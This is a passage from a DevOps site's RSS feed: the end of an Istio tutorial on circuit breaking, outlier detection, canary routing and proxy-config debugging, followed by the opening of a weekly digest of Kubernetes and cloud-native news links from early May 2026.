      <span class="hljs-attr">tcp:</span>
        <span class="hljs-attr">maxConnections:</span> <span class="hljs-number">100</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">http2MaxRequests:</span> <span class="hljs-number">1000</span>
        <span class="hljs-attr">maxRequestsPerConnection:</span> <span class="hljs-number">10</span>
        <span class="hljs-attr">maxRetries:</span> <span class="hljs-number">3</span>
    <span class="hljs-attr">outlierDetection:</span>
      <span class="hljs-attr">consecutive5xxErrors:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">baseEjectionTime:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">maxEjectionPercent:</span> <span class="hljs-number">50</span>
</code></pre><p>What this does:</p>
<ul>
<li><strong>maxConnections / http2MaxRequests</strong> — caps the in-flight request count. Once exceeded, new requests fail fast with a 503. This is the actual &quot;circuit&quot; being broken.</li>
<li><strong>consecutive5xxErrors: 5</strong> — a host that returns five 5xx responses in a row gets ejected.</li>
<li><strong>interval: 30s</strong> — how often Istio scans for unhealthy hosts.</li>
<li><strong>baseEjectionTime: 30s</strong> — how long the host stays ejected. Doubles on repeat offenses.</li>
<li><strong>maxEjectionPercent: 50</strong> — never eject more than half the hosts. Otherwise you can take the whole pool offline and have nothing left to serve traffic.</li>
</ul>
<p>That last one is the safety valve. Without it, a regional outage of a downstream dependency can cause Istio to eject every backend pod, leaving you with zero capacity even when the dependency recovers.</p>
<p>To see ejections happening, watch the sidecar stats:</p>
<pre><code class="hljs language-bash">kubectl <span class="hljs-built_in">exec</span> deploy/curl -c istio-proxy -- \
  pilot-agent request GET clusters | grep payments | grep ejected
</code></pre><p>When a pod gets ejected you&#39;ll see something like:</p>
<pre><code class="hljs language-text">outbound|8080||payments.default.svc.cluster.local::10.244.1.42:8080::cx_active::0
outbound|8080||payments.default.svc.cluster.local::10.244.1.42:8080::ejected::true
</code></pre><p>That <code>ejected::true</code> line is what you want to see when a backend is misbehaving. Traffic stops going to it. Other healthy pods absorb the load. The pod gets re-checked after <code>baseEjectionTime</code>.</p>
<h2 id="h2-combining-them-a-realistic-production-config" class="group relative scroll-mt-24">
        <a href="#h2-combining-them-a-realistic-production-config" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Combining Them: A Realistic Production Config
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-combining-them-a-realistic-production-config"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here&#39;s what the full setup looks like for a service that does canary deploys, retries on transient errors, and trips a breaker on bad hosts.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DestinationRule</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payments</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
  <span class="hljs-attr">trafficPolicy:</span>
    <span class="hljs-attr">connectionPool:</span>
      <span class="hljs-attr">tcp:</span>
        <span class="hljs-attr">maxConnections:</span> <span class="hljs-number">100</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">http2MaxRequests:</span> <span class="hljs-number">500</span>
        <span class="hljs-attr">maxRequestsPerConnection:</span> <span class="hljs-number">10</span>
    <span class="hljs-attr">outlierDetection:</span>
      <span class="hljs-attr">consecutive5xxErrors:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">baseEjectionTime:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">maxEjectionPercent:</span> <span class="hljs-number">50</span>
  <span class="hljs-attr">subsets:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v1</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v1</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v2</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v2</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payments</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">payments</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">95</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v2</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">retries:</span>
        <span class="hljs-attr">attempts:</span> <span class="hljs-number">2</span>
        <span class="hljs-attr">perTryTimeout:</span> <span class="hljs-string">3s</span>
        <span class="hljs-attr">retryOn:</span> <span class="hljs-string">gateway-error,connect-failure,refused-stream</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">10s</span>
</code></pre><p>Note the top-level <code>timeout: 10s</code>. That&#39;s the total timeout for the whole request including all retries. Without it, a service hitting <code>perTryTimeout</code> and retrying twice could hold a connection open for 9+ seconds, which is usually worse than just failing fast.</p>
<h2 id="h2-debugging-when-things-dont-work" class="group relative scroll-mt-24">
        <a href="#h2-debugging-when-things-dont-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Debugging When Things Don't Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-debugging-when-things-dont-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The single most useful command when an Istio policy isn&#39;t behaving:</p>
<pre><code class="hljs language-bash">istioctl proxy-config route deploy/curl -o json | less
</code></pre><p>This shows you the actual route config Envoy is using, not what you think it is. If your VirtualService isn&#39;t taking effect, the route here will not match what you wrote.</p>
<p>Other commands worth knowing:</p>
<pre><code class="hljs language-bash">istioctl analyze
istioctl proxy-config cluster deploy/curl
istioctl proxy-config endpoints deploy/curl
</code></pre><p><code>istioctl analyze</code> catches the obvious mistakes: subset references with no matching pods, conflicting VirtualServices, missing namespaces. Run it before you <code>kubectl apply</code>.</p>
<p>If a VirtualService just won&#39;t apply, check for naming conflicts. Two VirtualServices targeting the same host in the same namespace will fight, and Istio picks one in an order you cannot predict.</p>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next Steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Add <code>istioctl analyze</code> to your CI pipeline so bad mesh configs fail before merge</li>
<li>Set up a Grafana dashboard with the standard Istio mesh dashboard JSON to see retry and ejection rates per service</li>
<li>Pick one production service this week and add a DestinationRule with <code>outlierDetection</code>. Even without changing routes, this alone catches a class of failures you currently miss</li>
<li>For canary work, look at Flagger or Argo Rollouts. They drive Istio VirtualService weights automatically based on metrics, so you don&#39;t shift traffic by hand</li>
<li>If you find yourself writing the same DestinationRule for every service, move the defaults into a <code>mesh-wide</code> config under <code>meshConfig.defaultConfig</code> and only override per-service when needed</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 19, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-19</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-19</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-kubernetes-v136-pod-level-resource-managers-alpha" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-pod-level-resource-managers-alpha" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Pod-Level Resource Managers (Alpha)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-pod-level-resource-managers-alpha"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes v1.36 introduces Pod-Level Resource Managers as an alpha feature, bringing a more flexible and powerful resource management model to performance-sensitive workloads. This enhancement extend</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/01/kubernetes-v1-36-feature-pod-level-resource-managers-alpha/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway" class="group relative scroll-mt-24">
        <a href="#h3-simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplify hybrid Kubernetes networking with Amazon EKS Hybrid Nodes gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the general availability of the Amazon EKS Hybrid Nodes gateway, a new feature for Amazon EKS that simplifies hybrid Kubernetes networking for Amazon EKS Hybrid Nodes. In th</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/simplify-hybrid-kubernetes-networking-with-amazon-eks-hybrid-nodes-gateway/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-sandboxing-is-having-its-kubernetes-moment" class="group relative scroll-mt-24">
        <a href="#h3-ai-sandboxing-is-having-its-kubernetes-moment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI sandboxing is having its Kubernetes moment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-sandboxing-is-having-its-kubernetes-moment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recently, Anthropic announced that its new model, Mythos, had autonomously found and exploited zero-day vulnerabilities in every major operating system and web browser – including a 27-year-old bug th</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/30/ai-sandboxing-is-having-its-kubernetes-moment/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-in-place-vertical-scaling-for-pod-level-resources-graduates-to-beta" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-in-place-vertical-scaling-for-pod-level-resources-graduates-to-beta" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: In-Place Vertical Scaling for Pod-Level Resources Graduates to Beta
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-in-place-vertical-scaling-for-pod-level-resources-graduates-to-beta"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Following the graduation of Pod-Level Resources to Beta in v1.34 and the General Availability (GA) of In-Place Pod Vertical Scaling in v1.35, the Kubernetes community is thrilled to announce that In-P</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/30/kubernetes-v1-36-inplace-pod-level-resources-beta/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images" class="group relative scroll-mt-24">
        <a href="#h3-from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Security Blocked to Prod Ready: ClickHouse on Docker Hardened Images
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In November 2025, a team self-hosting Langfuse, an open-source LLM observability platform, on Kubernetes uploaded their ClickHouse image to AWS ECR as part of their production preparation. They found </p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/from-security-blocked-to-prod-ready-clickhouse-on-docker-hardened-images/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-relic-ebpf-expands-kernel-level-observability" class="group relative scroll-mt-24">
        <a href="#h3-new-relic-ebpf-expands-kernel-level-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Relic eBPF Expands Kernel-Level Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-relic-ebpf-expands-kernel-level-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New Relic eBPF extends observability beyond Kubernetes with kernel-level visibility across application, infrastructure, and network layers without instrumentation.</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/new-relic-ebpf-kernel-level-observabily"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source" class="group relative scroll-mt-24">
        <a href="#h3-the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Path to Data Sovereignty: CYBERTEC and SUSE Unite for Open Source
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SUSE and CYBERTEC PostgreSQL International are proud to announce a strategic partnership aimed at modernizing data solutions and infrastructure. This partnership unites two important players in the op</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-path-to-data-sovereignty-cybertec-and-suse-unite-for-open-source/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms" class="group relative scroll-mt-24">
        <a href="#h3-designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Designing multitenant GPU infrastructure: Isolation across virtualization and Kubernetes platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI workloads move from experimentation to production, enterprises are consolidating GPU infrastructure into shared platforms. However, organizations that take this road face several tradeoffs. For </p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/designing-multitenant-gpu-infrastructure-isolation-across-virtualization-and-kubernetes-platforms"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-tiered-memory-protection-with-memory-qos" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-tiered-memory-protection-with-memory-qos" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Tiered Memory Protection with Memory QoS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-tiered-memory-protection-with-memory-qos"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On behalf of SIG Node, we are pleased to announce updates to the Memory QoS feature (alpha) in Kubernetes v1.36. Memory QoS uses the cgroup v2 memory controller to give the kernel better guidance on h</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/29/kubernetes-v1-36-memory-qos-tiered-protection/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-one-new-zealands-strategic-shift-to-red-hat-openshift-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-one-new-zealands-strategic-shift-to-red-hat-openshift-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 One New Zealand’s strategic shift to Red Hat OpenShift Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-one-new-zealands-strategic-shift-to-red-hat-openshift-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Vodafone New Zealand separated from the Vodafone Group to become One New Zealand (One NZ), it faced an opportunity to go beyond a mere rebrand. Like many telecommunications providers, One NZ face</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/one-new-zealands-strategic-shift-red-hat-openshift-virtualization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-staleness-mitigation-and-observability-for-controllers" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-staleness-mitigation-and-observability-for-controllers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Staleness Mitigation and Observability for Controllers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-staleness-mitigation-and-observability-for-controllers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Staleness in Kubernetes controllers is a problem that affects many controllers, and is something may affect controller behavior in subtle ways. It is usually not until it is too late, when a controlle</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/28/kubernetes-v1-36-staleness-mitigation-for-controllers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-application-monitoring-tools-tips-for-faster-incident-resolution" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-application-monitoring-tools-tips-for-faster-incident-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes application monitoring: Tools & tips for faster incident resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-application-monitoring-tools-tips-for-faster-incident-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Compare Kubernetes application monitoring tools and learn key features, implementation strategies, and best practices to reduce MTTR and improve reliability.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/monitoring-application-monitoring-kubernetes"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
